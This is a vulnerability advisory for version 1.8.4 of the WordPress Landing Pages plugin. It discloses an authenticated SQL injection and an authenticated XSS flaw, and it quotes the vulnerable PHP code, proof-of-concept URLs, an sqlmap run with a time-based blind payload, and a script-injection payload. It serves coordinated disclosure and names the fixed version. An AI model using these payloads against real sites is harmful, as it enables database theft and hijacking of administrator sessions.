# Title: Multiple vulnerabilities in WordPress plugin "WordPress Landing Pages" # Author: Adrián M. F. - adrimf85[at]gmail[dot]com # Date: 2015-05-25 # Vendor Homepage: https://wordpress.org/plugins/landing-pages/ # Active installs: 20,000+ # Vulnerable version: 1.8.4 # Fixed version: 1.8.5 # CVE: CVE-2015-4064, CVE-2015-4065 Vulnerabilities (2) ===================== (1) Authenticated SQLi [CWE-89] (CVE-2015-4064) ----------------------------------------------- * CODE: modules/module.ab-testing.php:100 +++++++++++++++++++++++++++++++++++++++++ $wpdb->query(" SELECT `meta_key`, `meta_value` FROM $wpdb->postmeta WHERE `post_id` = ".$_GET['post']." "); +++++++++++++++++++++++++++++++++++++++++ * POC: http://[domain]/wp-admin/post.php?post=306[SQLi]&action=edit&lp-variation-id=1&ab-action=delete-variation SQLMap +++++++++++++++++++++++++++++++++++++++++ ./sqlmap.py --cookie="[cookie]" --dbms mysql -u "http://[domain]/wp-admin/post.php?post=306&action=edit&lp-variation-id=0&ab-action=delete-variation" -p post [............] GET parameter 'post' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection points with a total of 86 HTTP(s) requests: --- Parameter: post (GET) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: post=306 AND (SELECT * FROM (SELECT(SLEEP(10)))sCKL)&action=edit&lp-variation-id=0&ab-action=delete-variation --- [13:35:01] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 7.0 (wheezy) web application technology: Apache 2.2.22, PHP 5.4.39 back-end DBMS: MySQL 5.0.12 +++++++++++++++++++++++++++++++++++++++++ (2) Authenticated XSS [CWE-79] (CVE-2015-4065) ---------------------------------------------- * CODE: shared/shortcodes/inbound-shortcodes.php:761 +++++++++++++++++++++++++++++++++++++++++ <iframe src='<?php echo INBOUDNOW_SHARED_URLPATH . 'shortcodes/'; ?>preview.php?sc=&post=<?php echo $_GET['post']; ?>' width="285" scrollbar='true' frameborder="0" id="inbound-shortcodes-preview"></iframe> +++++++++++++++++++++++++++++++++++++++++ * POC: http://[domain]/wp-admin/post-new.php?post_type=inbound-forms&post='></iframe><script>alert(String.fromCharCode(88, 83, 83))</script> Timeline ========== 2015-05-09: Discovered vulnerability. 2015-05-20: Vendor notification. 2015-05-20: Vendor response. 2015-05-22: Vendor fix. 2015-05-25: Public disclosure.